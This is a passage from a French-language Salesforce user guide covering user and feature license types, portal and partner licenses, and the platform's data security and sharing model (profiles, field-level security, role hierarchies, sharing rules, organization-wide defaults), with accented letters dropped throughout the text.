Guide de l'utilisateur | Affichage des types de licence utilisateur | 152

Description
Chaque licence propose de l'espace de stockage supplmentaire
aux utilisateurs des ditions Enterprise et Unlimited. Pour
plus d'informations, reportez-vous Surveillance des ressources
la page 218.

Salesforce.com Platform Light

Pour les utilisateurs qui doivent accder des sous-applications

personnalises mais pas la fonctionnalit CRM standard.
Les utilisateurs titulaires d'une licence Salesforce.com Platform
Light bnficient des mmes droits que les utilisateurs de la
plate-forme Salesforce.com, si ce n'est que le nombre de
connexions possibles de l'utilisateur au cours d'un mois est
limit.
Remarque: Les utilisateurs titulaires d'une licence
Salesforce.com Platform Light ne peuvent pas modifier
ni crer de nouveaux tableaux de bord et peuvent
seulement afficher les tableaux de bord si
l'Utilisateur actuel du tableau de bord dispose
galement d'une licence Salesforce.com Platform
Light.
Chaque licence offre un espace de stockage de donnes
supplmentaire de 1 Mo et de 1 Mo pour le stockage de
fichiers, quelle que soit l'dition de Salesforce.com.

Force.com - One App

Pour les utilisateurs qui doivent accder une sous-application

personnalise mais pas la fonctionnalit CRM standard. Les
utilisateurs de Force.com - One App disposent des mmes
droits que les utilisateurs de Salesforce.com Platform, avec en
plus l'accs un nombre illimit d'onglets personnaliss. Ils
ne peuvent toutefois utiliser qu'une seule sous-application
personnalise, dfinie jusqu' 10 objets personnaliss, et sont
limits un accs en lecture seule aux objets Comptes et
Contacts.
Remarque: Les utilisateurs titulaires d'une licence
Force.com - One App ne peuvent pas modifier ni crer
des tableaux de bord et peuvent afficher les tableaux
de bord uniquement si l'utilisateur actuel du tableau
de bord dispose galement d'une licence Force.com One App.
Chaque licence offre 1 Mo d'espace de stockage de donnes
et 1 Mo d'espace de stockage de fichiers supplmentaires,
quelle que soit l'dition Salesforce.com.

Force.com - Free

Pour les utilisateurs qui doivent accder une sous-application

personnalise mais pas la fonctionnalit CRM standard. Les
utilisateurs de Force.com - Free disposent des mmes droits
que les utilisateurs de Salesforce.com Platform, avec en plus
l'accs un nombre illimit d'onglets personnaliss. Ils ne
peuvent toutefois utiliser qu'une seule sous-application

Gestion des utilisateurs

Licence utilisateur

Guide de l'utilisateur | Affichage des types de licence utilisateur | 153

Description
personnalise, dfinie jusqu' 10 objets personnaliss, et n'ont
pas accs aux objets Comptes et Contacts.
Remarque: Les utilisateurs titulaires d'une licence
Force.com - Free ne peuvent pas modifier ni crer des
tableaux de bord et peuvent afficher les tableaux de
bord uniquement si l'utilisateur actuel du tableau de
bord dispose galement d'une licence Force.com Free.
Chaque licence offre 1 Mo d'espace de stockage de donnes
et 1 Mo d'espace de stockage de fichiers supplmentaires,
quelle que soit l'dition Salesforce.com.

Utilisateur Ideas uniquement

Pour les utilisateurs qui doivent accder uniquement la

sous-application Ideas. La licence permet ax utilisateurs
d'accder l'onglet Ides, l'onglet Accueil et jusqu' trois
autres onglets personnaliss.

Utilisateur Content uniquement

Pour les utilisateurs qui doivent accder uniquement la

sous-application Content. Cette licence permet aux utilisateurs
d'accder aux onglets suivants : Espaces de travail, Contenu,
Abonnements et Ides et Accueil. Chaque licence offre 500
Mb d'espace de stockage de fichiers.

Utilisateurs des sites Force.com

Licence utilisateur

Description

Utilisateur invit

Pour les utilisateurs publics qui accdent vos sites Force.com.

Les visiteurs ont accs aux informations disponibles dans un
site public actif.
Le nombre de licences Utilisateur invit dtermine le nombre
de sites que vous pouvez dvelopper pour votre organisation.
Vous pouvez crer un site actif pour chaque licence Utilisateur
invit. Enterprise Edition et Unlimited Edition offrent
chacune 25 licences Utilisateur invit. Developer Edition et
Force.com - Free Edition offrent chacune une licence
Utilisateur invit.
Remarque: Vous ne pouvez pas acheter des licences
Utilisateur invit supplmentaires.
Reportez-vous Limites et facturation des sites Force.com
la page 1398.

Gestion des utilisateurs

Guide de l'utilisateur | Affichage des types de licence utilisateur | 154

Utilisateurs du portail Client

Licence utilisateur

Description

Utilisateur du portail client haut volume

Pour les contacts autoriss se connecter votre portail client

Salesforce.com afin d'accder aux informations de support
client. Vous pouvez associer des utilisateurs titulaires d'une
licence Utilisateur du portail client haut volume un profil
d'Utilisateur du portail client haut volume ou un profil clon
et personnalis partir du profil Utilisateur du portail client
haut volume.
Les utilisateurs du portail client haut volume n'ont aucun rle
et ne sont pas inclus dans la hirarchie des rles. Ils peuvent
accder des enregistrements si toutes les conditions ci-dessous
sont remplies :

Les enregistrements sont associs au compte ou au contact

de l'utilisateur du portail client haut volume ;
L'utilisateur du portail client haut volume dispose d'un
accs en lecture seule ou en lecture/criture aux
enregistrements d'un objet.

Vous ne pouvez pas inclure des utilisateurs du portail client

haut volume dans les lments suivants :

Groupes personnels ou groupes publics

Rgles de partage
quipes de comptes, quipes de vente ou quipes de
requtes
Espaces de travail Salesforce CRM Content

Les utilisateurs titulaires d'une licence Utilisateur du portail

client haut volume peuvent accder des comptes, des actifs,
des requtes, des contacts, des objets personnaliss, des
documents, des ides et des questions en fonction de leurs
paramtres de profil.
Pour plus d'informations sur le nombre de licences utilisateur
de portails client que vous pouvez activer, contactez
Salesforce.com.
Responsable du portail client standard

Pour les contacts autoriss se connecter votre portail client

Salesforce.com afin d'accder aux informations de support
client. Vous pouvez associer les utilisateurs titulaires d'une
licence Responsable du portail client standard un profil
Utilisateur du portail client ou un profil clon et personnalis
partir du profil Utilisateur du portail client. Ils peuvent ainsi
afficher et modifier les donnes dont ils sont directement
responsables ou que dtiennent ou partagent des utilisateurs
au niveau infrieur dans la hirarchie de rles du portail client.
Ces utilisateurs peuvent galement afficher et modifier les
requtes o ils figurent dans le champ Nom du contact.
Les utilisateurs titulaires de la licence Responsable du portail
client standard peuvent :

Gestion des utilisateurs

Licence utilisateur

Guide de l'utilisateur | Affichage des types de licence utilisateur | 155

Description

Accder de objets personnaliss en fonction de leurs

paramtres de profil ;
Accder Salesforce CRM Content s'ils disposent d'une
licence de fonctionnalit Salesforce CRM Content ou d'un
profil personnalis.

Pour plus d'informations sur le nombre de licences utilisateur

de portails client que vous pouvez activer, contactez
Salesforce.com.
Responsable du portail client personnalis

Pour les contacts autoriss se connecter votre portail client

Salesforce.com afin d'accder aux informations de support
client. Vous pouvez associer les utilisateurs titulaires d'une
licence Responsable du portail client personnalise au profil
Responsable du portail client ou un profil clon et
personnalis partir du profil Responsable du portail client,
ce qui leur permet d'afficher et de modifier les donnes dont
ils sont directement responsables ainsi que les requtes o leur
nom figure dans le champ Nom du contact.
Les utilisateurs titulaires de la licence Responsable du portail
client personnalise peuvent :

Accder des objets personnaliss et excuter des rapports

en fonction de leurs paramtres du profil.
Recevoir les autorisations Super utilisateur du portail
et Administrateur dlgu d'utilisateur de portail ;
Accder Salesforce CRM Content s'ils disposent d'une
licence de fonctionnalit Salesforce CRM Content ou d'un
profil personnalis.

Pour plus d'informations sur le nombre de licences utilisateur

de portails client que vous pouvez activer, contactez
Salesforce.com.

Utilisateurs du portail partenaire

Les utilisateurs titulaires d'une licence utilisateur partenaire peuvent accder Salesforce.com uniquement l'aide du portail
partenaire.
Licence utilisateur

Description

Bronze Partner

Les utilisateurs titulaires d'une licence Bronze Partner peuvent

accder aux Documents et Profil mon compte, mais ne
disposent pas d'espace de stockage.
Important: La licence Partenaire bronze ne sera plus
disponible l'achat aprs juillet 2008. Les licences
Partenaire bronze qui ont t achetes avant juillet
2008 sont toujours prises en charge.

Gestion des utilisateurs

Guide de l'utilisateur | Affichage des licences de fonctionnalit | 156

Licence utilisateur

Description

Silver Partner

Les utilisateurs titulaires d'une licence Partenaire argent

peuvent accder l'onglet Documents, Profil mon compte,
aux Pistes et aux Approbations et disposent de 2 Mo d'espace
de stockage de donnes. L'accs Salesforce CRM Content
est dtermin par la licence de fonctionnalit et le profil.

Gold Partner

Les utilisateurs titulaires d'une licence Gold Partner peuvent

accder l'onglet Documents, au profil Mon compte, ainsi
qu'aux Pistes, Objets personnaliss, Approbations, Comptes,
Requtes et Opportunits. Ils disposent en outre de 5 Mo
d'espace de stockage de donnes. L'accs Salesforce CRM
Content est dtermin par la licence de fonctionnalit et le
profil.

Pour plus d'informations sur les utilisateurs partenaires, reportez-vous Prsentation de la gestion des relations partenaires
la page 1612.

Voir aussi :
Ajout de nouveaux utilisateurs
Gestion des utilisateurs
Informations sur la socit
Affichage des licences de fonctionnalit

Affichage des licences de fonctionnalit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour consulter les licences de fonctionnalit :

Afficher la configuration

Il se peut que plusieurs types de licence de fonctionnalit puissent tre attribus aux utilisateurs de votre entreprise. Une licence
de fonctionnalit donne accs une fonctionnalit Salesforce.com supplmentaire, telle que Marketing ou Connect Offline.
Pour afficher la liste des licences de fonctionnalit que votre entreprise a achetes, cliquez sur Configuration Profil de la
socit Informations sur la socit. Cette page affiche les informations suivantes pour chaque type de licence de
fonctionnalit :

Le champ Statut indique le statut de la licence.

Le champ Nombre total de licences indique le nombre de licences factures votre entreprise et qui vous sont
disponibles.
Le champ Licences utilises est le nombre de licences que vous avez attribues aux utilisateurs.
Le champ Licences restantes renseigne sur le nombre de licences non utilises.

Gestion des utilisateurs

Guide de l'utilisateur | Affichage des licences de fonctionnalit | 157

Les licences de fonctionnalit suivantes sont disponibles :

Utilisateur marketing
Utilisateur hors ligne
Apex Mobile - Utilisateur
Utilisateur de Salesforce CRM Content
Utilisateur de la base de connaissances

Pour plus d'informations sur l'attribution de licences de fonctionnalit aux utilisateurs, reportez-vous Ajout de nouveaux
utilisateurs la page 94. Pour plus d'informations sur l'achat de licences de fonctionnalit, reportez-vous salesforce.com.

Voir aussi :
Informations sur la socit
Affichage des types de licence utilisateur

Scurit et partage
Scurisation de l'accs aux donnes
Les options de gestion des donnes disponibles dpendent de votre dition de Salesforce.com.

Le choix de l'ensemble de donnes que chaque utilisateur ou groupe d'utilisateurs peut visualiser est l'une des principales
dcisions qui affectent la scurit des donnes. Vous trouvez un quilibre entre le contrle de l'accs aux donnes, afin de
limiter les risques de vol ou de mauvaise utilisation des informations, et la libert d'accs aux donnes pour le confort de vos
utilisateurs.
Pour faciliter le travail des utilisateurs sans exposer les donnes dont ils n'ont pas besoin, Salesforce.com fournit une conception
flexible de partage par niveaux qui permet de publier diffrents ensembles de donnes pour diffrents groupes d'utilisateurs.

Pour spcifier les objets et les onglets auxquels un utilisateur peut accder, vous pouvez attribuer un profil.
Pour spcifier les champs auxquels un utilisateur peut accder, vous pouvez utiliser la scurit au niveau du champ.
Pour spcifier les enregistrements individuels que les utilisateurs peuvent visualiser et modifier, vous pouvez dfinir les
paramtres par dfaut l'chelle de l'organisation, dfinir une hirarchie de rles, puis crer des rgles de partage.
Conseil: Lors de la mise en oeuvre de la scurit et des rgles de partage pour votre organisation, crez un tableau
contenant les divers types d'utilisateurs de l'organisation. Dans ce tableau, spcifiez le niveau d'accs aux donnes requis
par chaque type d'utilisateur pour chaque objet ainsi que pour les champs et enregistrements de l'objet. Vous pouvez
vous rfrer ce tableau en dfinissant votre modle de scurit.

Les point suivants prsentent ces paramtres de scurit et de partage :

Scurit au niveau de l'objet (Profils)
La scurit au niveau de l'objet fournit la mthode de contrle des donnes dans Salesforce.com la plus radicale. Elle
empche un utilisateur de visualiser, crer, modifier ou supprimer toute instance d'un type d'objet particulier, telle qu'une
piste ou une opportunit. Elle permet de masquer l'ensemble des onglets et objets des utilisateurs spcifiques, afin qu'ils
ignorent l'existence mme de ce type de donnes.
Vous spcifiez la scurit au niveau de l'objet dans des profils. Un profil est un ensemble de paramtres et d'autorisations
qui dterminent les droits d'un utilisateur dans l'application, semblables un groupe dans un rseau Windows, dans
lequel tous les membres du groupe disposent d'autorisations et d'accs aux dossiers identiques dans le mme logiciel.
Les profils sont gnralement dfinis selon la fonction des utilisateurs (par exemple, administrateur systme ou commercial),
mais ils peuvent correspondent toute catgorie adapte votre organisation. Un profil peut tre attribu de nombreux
utilisateurs, mais un utilisateur ne peut tre associ qu' un seul profil la fois. Il est important de prendre le temps de
dfinir les divers ensembles d'utilisateurs avec des profils, en fonction des lments qu'ils peuvent visualiser et des
oprations qu'ils peuvent effectuer dans l'application.
Scurit au niveau du champ
Une fois l'accs aux objets contrl globalement l'aide de profils, vous pouvez restreindre l'accs des champs d'objets
individuels. La scurit au niveau du champ dtermine si un utilisateur peut afficher, modifier et supprimer une valeur
de champ spcifique dans un objet. Elle permet de protger des champs sensibles sans toutefois masquer l'objet complet
certains profils. La scurit au niveau du champ est contrle dans les profils.

Scurit et partage

Guide de l'utilisateur | Scurisation de l'accs aux donnes | 159

Contrairement aux prsentations de page, qui contrlent la visibilit de champs dans les pages de dtails et de modification,
la scurit au niveau du champ contrle la visibilit des champs dans l'ensemble de l'application, notamment dans les
listes associes, les vues de listes, les rapports et les rsultats de recherche. Pour s'assurer qu'un utilisateur ne peut accder
un champ spcifique, il est important d'utiliser la scurit au niveau du champ d'un objet donn afin de restreindre
l'accs ce champ. Aucun autre raccourci ne fournit un niveau de protection quivalent pour un champ individuel.
Important: La scurit au niveau du champ n'empche pas la recherche dans les valeurs d'un champ. Si vous
ne souhaitez pas permettre aux utilisateurs de rechercher et de rcuprer les enregistrements correspondant
une valeur d'un champ masqu par la scurit au niveau du champ, contactez le support client de salesforce.com
pour obtenir une assistance sur la configuration de votre organisation afin d'interdire tout accs indsirable ce
type de valeur de champ.
Scurit au niveau de l'enregistrement (Partage)
Une fois les autorisations d'accs au niveau de l'objet et du champ dfinies pour vos divers profils, vous devez configurer
les autorisations d'accs pour les enregistrements actuels. La scurit au niveau de l'enregistrement permet d'accorder
aux utilisateurs l'accs certains enregistrements d'objet et pas d'autres.
Pour spcifier la scurit au niveau de l'enregistrement, dfinissez les paramtres par dfaut l'chelle de votre organisation,
dfinissez une hirarchie de rles, puis crez des rgles de partage :

Dans la scurit au niveau de l'enregistrement, la premire tape consiste dterminer les paramtres par dfaut de
l'organisation de chaque objet. Les paramtres par dfaut l'chelle de l'organisation spcifient le niveau d'accs par
dfaut aux enregistrements et peuvent tre dfinis sparment pour les comptes (y compris les actifs et les contrats),
les activits, les contacts, les campagnes, les requtes, les pistes, les opportunits, les calendriers, les catalogues de prix
et les objets personnaliss. Pour la plupart des objets, les paramtres par dfaut de l'organisation peuvent tre dfinis
Priv, Accs public en lecture seule ou Accs public en lecture/criture.
Les paramtres par dfaut l'chelle de l'organisation permettent de verrouiller vos donnes au niveau le plus restrictif,
puis d'utiliser les autres outils de scurit au niveau de l'enregistrement et de partage (hirarchies de rles, rgles de
partage et partage manuel) afin d'accorder l'accs aux donnes d'autres utilisateurs qui en ont besoin. Par exemple,
vous pouvez dfinir le paramtre Lecture seule pour les utilisateurs dont les profils les autorisent afficher et visualiser
des opportunits. Ces utilisateurs peuvent lire tous les enregistrements d'opportunit, mais ils ne peuvent pas les
modifier, sauf s'ils sont responsables de l'enregistrement ou disposent d'autorisations supplmentaires.

Pour partager l'accs aux enregistrements, la premire mthode consiste dfinir une hirarchie de rles. Semblable
un organigramme, une hirarchie reprsente un niveau d'accs aux donnes dont un utilisateur ou un groupe
d'utilisateurs a besoin. La hirarchie de rles permet un responsable d'avoir toujours accs aux mmes donnes que
ses employs, quels que soient les paramtres par dfaut l'chelle de l'organisation. Il n'est ncessaire que les
hirarchies de rles correspondent exactement l'organigramme de votre organisation. Chaque rle d'une hirarchie
doit reprsenter un niveau d'accs aux donnes dont un utilisateur ou un groupe d'utilisateurs a besoin.
Vous pouvez galement utiliser une hirarchie de territoires pour partager l'accs des enregistrements. Une hirarchie
de territoires accorde aux utilisateurs l'accs des enregistrements en fonction de critres tels que le code postal, le
secteur d'activit, le chiffre d'affaires ou un champ personnalis pertinent pour votre entreprise. Par exemple, vous
pouvez crer une hirarchie de territoires dans laquelle un utilisateur associ au rle France peut accder donnes
diffrentes que les utilisateurs associs aux rles Suisse et Belgique .
Remarque: Bien qu'il soit facile de confondre profils et rles, ils contrlent deux lments trs diffrents.
Les profils contrlent les autorisations d'accs au niveau de l'objet et du champ d'un utilisateur. Les rles
contrlent essentiellement les autorisations d'accs au niveau de l'enregistrement d'un utilisateur via une
hirarchie de rles et des rgles de partage.

Scurit et partage

Guide de l'utilisateur | Scurisation de l'accs aux donnes | 160

Les Rgles de partage permettent d'ajouter des exceptions automatiques aux paramtres par dfaut l'chelle d'une
organisation, afin d'accorder des ensembles d'utilisateurs spcifiques un accs des enregistrements dont ils ne sont
pas responsables ou qu'ils ne peuvent pas afficher normalement. Les rgles de partage, comme les hirarchies de rles,
permettent uniquement d'accorder l'accs des enregistrements davantage d'utilisateurs. Elles ne peuvent en aucun
cas tre plus strictes que les paramtres par dfaut l'chelle de l'organisation. Les rgles de partage fonctionnent
mieux lorsqu'elles sont dfinies pour un ensemble spcifique d'utilisateurs stable, que vous pouvez dterminer ou
prvoir, plutt que pour un ensemble d'utilisateurs qui change souvent. Un ensemble d'utilisateurs peut tre un groupe
public ou personnel, un rle, un territoire ou une file d'attente.
Il est parfois impossible de dfinir un groupe cohrent d'utilisateurs ayant besoin d'accder un ensemble
d'enregistrements donn. Dans ce cas, les responsables d'enregistrements peuvent utiliser le partage manuel afin
d'accorder des autorisations en lecture et en modification aux utilisateurs qui ne disposent d'aucun autre moyen pour
accder aux enregistrements. Bien que le partage manuel ne soit pas automatis comme les paramtres par dfaut
l'chelle de l'organisation, les hirarchies de rles ou les rgles de partage, il offre aux responsables d'enregistrements
une flexibilit leur permettant de partager des enregistrements spcifiques avec des utilisateurs qui en ont besoin.
Si les rgles de partage et le partage manuel ne vous apportent pas le contrle requis, vous pouvez utiliser le partage
gr Apex. Le partage gr Apex permet aux dveloppeurs d'utiliser Apex afin de partager des objets personnaliss
l'aide de programmes. Lorsque vous utilisez le partage gr Apex afin de partager un objet personnalis, seuls des
utilisateurs disposant de l'autorisation Modifier toutes les donnes peuvent ajouter ou modifier le partage de
l'enregistrement de l'objet personnalis, et l'accs de partage est prserv dans les modifications du responsable de
l'enregistrement. Pour plus d'informations, reportez-vous Partage gr Apex la page 161.

Voir aussi :
Gestion des profils
Configuration de la scurit au niveau du champ
Gestion des paramtres de partage
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Gestion des rles
Dfinition des rgles de partage
Octroi d'accs aux enregistrements
Gestion des files d'attente

Scurit et partage

Guide de l'utilisateur | Gestion des paramtres de partage | 161

Gestion des paramtres de partage

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir l'accs au partage par dfaut :

Grer les utilisateurs

AND
Personnaliser l'application

Dans Salesforce.com, vous pouvez contrler l'accs aux donnes diffrents niveaux. Par exemple, vous pouvez contrler l'accs
de vos utilisateurs des objets en personnalisant les profils utilisateurs. Parmi les objets, vous pouvez contrler l'accs des
utilisateurs aux champs l'aide des paramtres de scurit du champ. Pour contrler l'accs aux donnes au niveau de
l'enregistrement, utilisez les paramtres de partage dcrits ci-dessous.
Consultez vos paramtres de partage en cliquant sur Configuration Commandes de scurit Paramtres de partage.
Vous pouvez choisir d'afficher toutes les listes associes en mme temps ou d'utiliser la liste droulante Grer les
paramtres de partage de en haut de la page, pour n'afficher que les paramtres par dfaut et les rgles de partage de
l'entreprise pour un objet slectionn.
Valeurs par dfaut l'chelle de l'organisation
Les paramtres de partage par dfaut l'chelle de l'organisation indiquent le niveau d'accs de base pour chaque objet et
permettent d'tendre ce niveau d'accs l'aide de hirarchies ou de rgles de partage. Par exemple, vous pouvez dfinir les
valeurs par dfaut de pistes l'chelle de l'organisation sur Priv si vous souhaitez que les utilisateurs puissent consulter et
modifier uniquement les pistes qui leur appartiennent. Puis, vous pouvez crer des rgles de partage de piste pour tendre
l'accs des pistes des utilisateurs ou des groupes particuliers.
Rgles de partage
Les rgles de partage reprsentent les exceptions des paramtres par dfaut l'chelle de l'entreprise. Si vous avez des valeurs
par dfaut de paramtres l'chelle de l'entreprise sur Accs public en lecture seule ou Priv, vous pouvez dfinir des rgles
qui accordent des utilisateurs supplmentaires un accs des enregistrements qu'ils ne possdent pas. Vous pouvez crer des
rgles de partage bases sur le responsable de l'enregistrement ou sur des valeurs le champ dans l'enregistrement.
Conseil: Il est parfois impossible de dfinir un groupe cohrent d'utilisateurs ayant besoin d'accder un ensemble
d'enregistrements donn. Dans ce cas, les responsables d'enregistrements peuvent utiliser le partage manuel afin
d'accorder des autorisations en lecture et en modification aux utilisateurs qui ne disposent d'aucun autre moyen pour
accder aux enregistrements. Bien que le partage manuel ne soit pas automatis comme les paramtres par dfaut
l'chelle de l'organisation, les hirarchies de rles ou les rgles de partage, il offre aux responsables d'enregistrements
une flexibilit leur permettant de partager des enregistrements spcifiques avec des utilisateurs qui en ont besoin.
Partage gr Apex
Le partage gr Apex permet aux dveloppeurs d'utiliser Apex afin de partager des objets personnaliss l'aide de programmes.
Lorsque vous utilisez le partage gr Apex afin de partager un objet personnalis, seuls des utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent ajouter ou modifier le partage de l'enregistrement de l'objet personnalis, et l'accs de
partage est prserv pour les modifications de propritaire de l'enregistrement.

Scurit et partage

Guide de l'utilisateur | Gestion des paramtres de partage | 162

Lors de l'utilisation du partage gr Apex, notez les points suivants :

Le partage gr Apex n'est disponible que pour des enregistrements d'objets personnaliss.
Le partage Apex gr est disponible uniquement avec les classes ou dclencheurs enregistrs l'aide de l'API Salesforce.com
version 13.0 ou ultrieure.
Les dveloppeurs doivent crer des motifs de partage Apex pour indiquer la raison de la mise en uvre du partage, pour
simplifier le codage requis pour mettre jour et supprimer les enregistrements de partage et pour partager plusieurs fois
un enregistrement avec le mme utilisateur ou le mme groupe l'aide de diffrents motifs de partage Apex..
Les dveloppeurs peuvent crire des classes Apex par lot qui recalculent lepartage Apex gr pour un objet personnalis
spcifique. Vous pouvez associer ces classes un objet personnalis sur sa page dtails et les excuter si un problme de
verrouillage empche un script Apex d'accorder l'accs un utilisateur comme dfini dans la logique de l'application. Les
nouveaux calculs de partage Apex sont aussi utiles pour rsoudre les problmes de visibilit dus des erreurs de codage.
Par exemple, si un dveloppeur corrige une erreur de codage qui empchait les utilisateurs d'accder des enregistrements
qu'ils devaient consulter, la correction ne concernera que des enregistrements crs aprs la mise jour du code. Afin de
s'assurer que la correction s'applique aussi des enregistrements existants, le dveloppeur peut excuter un nouveau calcul
de partage Apex afin de valider le partage de tous les enregistrements.

Pour plus d'informations sur le partage Apex gr, reportez-vous au manuel Force.com Apex Code Developer's Guide.
Remplacements de partage
Lorsqu'un objet est slectionn dans la page Paramtres de partage, la page inclut une liste associe Remplacements de partage
qui rpertorie les profils qui ignorent les paramtres de partage de cet objet. Pour chaque profil, la liste indique les autorisations
qui lui permettent de remplacer les paramtres de partage. Les autorisations Afficher toutes les donnes et Modifier toutes
les donnes remplacent les paramtres de partage de tous les objets dans l'organisation, alors que les autorisations Afficher
tout et Modifier tout remplacent les paramtres de partage de l'objet nomm.
Pour remplacer les paramtres de partage d'objets spcifiques, vous pouvez crer ou modifier des profils personnaliss qui
utilisent les autorisations d'objet Afficher tout et Modifier tout. Ces autorisations donnent accs tous les enregistrements
associs un objet dans l'ensemble de l'organisation, quels que soient les paramtres de partage. Avant de configurer ces
autorisations, comparez les diffrents mthodes de contrle de l'accs aux donnes. Pour plus d'informations, reportez-vous
Comparaison des modles de scurit la page 132.
Autres mthodes pour autoriser l'accs aux enregistrements
En complment des paramtres de partage, voici d'autres mthodes permettant d'accorder plusieurs utilisateurs l'accs des
enregistrements donns :

Crez des files d'attente pour aider vos quipes grer les pistes, les requtes et les objets personnaliss. Une fois les
enregistrements placs dans une file d'attente, manuellement ou via une rgle d'attribution automatique de requtes ou de
pistes, ils restent dans la file jusqu' leur attribution un utilisateur ou leur extraction par un membre de la file d'attente.
Tout membre de la file d'attente ou suprieur hirarchique peut devenir responsable des enregistrements qu'elle contient.
Utilisez les files d'attente pour acheminer des enregistrements de pistes, de requtes et d'objets personnaliss vers un groupe.
Avec les comptes, opportunits et requtes, les responsables de compte peuvent utiliser des quipes pour accorder d'autres
utilisateurs l'accs leurs enregistrements. Une quipe est un groupe d'utilisateurs qui travaillent ensemble sur un compte,
une opportunit commerciale ou une requte. Les responsables de compte peuvent former une quipe pour chaque
enregistrement dont ils sont responsables. Le responsable d'un enregistrement ajoute les membres d'quipe et dfinit leur
niveau d'accs l'enregistrement. Certains membres de l'quipe peuvent avoir un accs en lecture et d'autres un accs en
lecture/criture. Le responsable d'un enregistrement peut galement attribuer un rle chaque membre de l'quipe, par
exemple Responsable du sponsor. Dans les quipes de comptes, les membres d'quipe ont galement accs tout contact,
opportunit et requte associe un compte.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 163

Remarque: Un membre d'quipe peut disposer de plusieurs niveaux d'accs un enregistrement, tels qu'un rle
ou une rgle de partage, pour des raisons diffrentes. Dans ce cas, le membre de l'quipe dispose de l'accs le plus
lev, quel que soit le niveau d'accs spcifi dans l'quipe.

Voir aussi :
Scurisation de l'accs aux donnes
Gestion des profils
Configuration de la scurit au niveau du champ
Champs du modle de partage
propos des rgles de partage
Considrations relatives au partage
Prsentation d'une quipe de comptes
Prsentation des quipes de vente.
Prsentation des quipes de requte

Dfinition du modle de partage par dfaut l'chelle de

votre entreprise
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir l'accs au partage par dfaut :

Grer les utilisateurs

AND
Personnaliser l'application

Un administrateur peut dfinir le modle de partage par dfaut de votre entreprise en configurant des valeurs par dfaut. Les
paramtres par dfaut l'chelle de l'organisation spcifient le niveau d'accs par dfaut aux enregistrements et peuvent tre
dfinis sparment pour les comptes (y compris les actifs et les contrats), les activits, les contacts, les campagnes, les requtes,
les pistes, les opportunits, les calendriers, les catalogues de prix et les objets personnaliss. Pour la plupart des objets, les
paramtres par dfaut de l'organisation peuvent tre dfinis Priv, Accs public en lecture seule ou Accs public en
lecture/criture. Reportez-vous Champs du modle de partage la page 165 pour les diverses options.
Conseil: Les dveloppeurs peuvent utiliser Apex pour partager les objets personnaliss. Pour plus d'informations,
reportez-vous Partage gr Apex la page 161 et au manuel Force.com Apex Code Developer's Guide.
Par dfaut, Salesforce.com utilise les hirarchies, par exemple la hirarchie des rles ou des territoires, pour octroyer
automatiquement l'accs aux enregistrements aux utilisateurs situs au-dessus du propritaire de l'enregistrement dans la
hirarchie. Les entreprises utilisant Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition peuvent
dsactiver cette option pour les objets personnaliss en cochant la case Activation de laccs en utilisant les hirarchies en
regard des paramtres par dfaut de l'entreprise. Si vous dslectionnez cette case ct d'un objet personnalis, seul le

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 164

propritaire de l'enregistrement et les utilisateurs qui disposent d'un accs fourni par les paramtres de l'organisation peuvent
accder aux enregistrements.
Remarque: Si la case Activation de laccs en utilisant les hirarchies est dsactive, les utilisateurs d'un niveau
suprieur dans la hirarchie des rles ne reoivent aucun accs bas sur ce rle. Les utilisateurs peuvent recevoir l'accs
aux enregistrements dont ils ne sont pas responsables via d'autres mthodes, telles que les autorisations au niveau de
l'objet Afficher tout et Modifier tout pour un objet donn, ainsi que Afficher toutes les donnes et Modifier
toutes les donnes.
Dans des environnements o le modle de partage d'un objet a t dfini sur Priv ou sur Accs public en lecture seule, un
administrateur peut accorder aux utilisateurs un accs plus large aux enregistrements en configurant une hirarchie des rles
ou en dfinissant des rgles de partage. Toutefois, les rgles de partage ne peuvent tre utilises que pour accorder un accs
plus large. Elles ne servent pas restreindre l'accs aux enregistrements en outrepassant les valeurs spcifies dans le modle
de partage au moyen des valeurs par dfaut pour l'entreprise.
Le paramtrage par dfaut l'chelle de l'entreprise de chaque objet est indiqu ci-dessous.
Objet

Accs par dfaut

Compte

Accs public en lecture/criture

Activits

Priv

Actifs

Accs public en lecture/criture

Calendrier

Masquer les dtails et ajouter des vnements

Campagnes

Accs public intgral

Requtes

Accs public en lecture/criture/Transfert

Contacts

Contrl par parent

Contrats

Accs public en lecture/criture

Objets personnaliss

Accs public en lecture/criture

Piste

Accs public en lecture/criture/Transfert

Opportunits

Accs public en lecture seule

Catalogues de prix

Utilisation

Pour modifier les paramtres de l'entreprise pour un objet :

1. Cliquez sur Configuration Contrles de scurit Paramtres de partage.
2. Cliquez sur Modifier dans la zone des valeurs par dfaut de l'entreprise.
Remarque: Lorsqu'un objet personnalis est situ du ct dtails d'une relation principal-dtails avec un objet
standard, sa valeur par dfaut l'chelle de l'entreprise est dfinie sur Contrl par parentet n'est pas modifiable.
Pour dsactiver l'accs automatique l'aide des hirarchies, dslectionnez Activation de laccs en utilisant les hirarchies
pour tout objet personnalis qui ne dispose pas d'un accs par dfaut Contrl par parent.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 165

Important: Avant d'autoriser les contacts accder au portail client Salesforce.com de votre organisation, configurez
les valeurs par dfaut l'chelle de l'entreprise en matire de comptes, contacts, contrats, actifs et requtes sur Priv,
pour que les clients voient uniquement leurs propres donnes. Si vous configurez les valeurs par dfaut l'chelle de
l'entreprise pour ces objets sur Priv, vous pouvez tout de mme accorder aux utilisateurs Salesforce.com un accs
public en lecture/criture en crant des rgles de partage dans lesquelles un responsable quivaut un utilisateur
interne, qui partage ces objets avec d'autres utilisateurs internes. Pour plus d'informations, reportez-vous Dfinition
des rgles de partage la page 177 et Configuration du portail Client la page 1284.
Remarque: Le paramtrage par dfaut l'chelle de l'entreprise de certains objets ne peut pas tre modifi :

Les enregistrements de solution sont toujours en accs public en lecture/criture et ne peuvent pas tre modifis.
La possibilit d'afficher ou de modifier un document dpend de l'accs de l'utilisateur au dossier dans lequel le
document est stock.
